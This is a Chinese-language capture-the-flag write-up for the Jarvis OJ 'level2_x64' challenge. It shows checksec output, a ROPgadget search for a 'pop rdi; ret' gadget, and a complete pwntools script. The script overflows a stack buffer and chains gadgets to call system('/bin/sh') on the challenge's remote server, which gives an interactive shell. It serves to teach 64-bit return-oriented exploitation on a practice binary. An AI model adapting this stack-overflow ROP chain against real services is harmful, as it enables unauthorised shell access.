Jarvis OJ [XMAN]level2(x64)

liu@liu-F117-F:~/桌面/oj/level2_x64$ checksec level2_x64
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2_x64/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启了NX保护,64位的系统

data:0000000000600A90 hint            db '/bin/sh',0

有/bin/sh字符串

text:000000000040063E                 call    _system

有call system
为了让它们连接到一起需要给system函数传递参数要用到ROP用程序自带的内容实现一些不可告人的操作。

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。所以我们要想办法向rdi里面写入参数

liu@liu-F117-F:~/桌面/oj/level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi
0x00000000004006b3 : pop rdi ; ret

运气不错,搜索到了。

from pwn import *


system_addr=0x000000000040063E
poprdi_drt=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload='A'*0x80+"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()

这里重要的是payload的构造。相比起来32位略显不好控制。不过只要控制住pop传参,传完之后rbp的位置,就能pwn

你可能感兴趣的:(溢出攻击)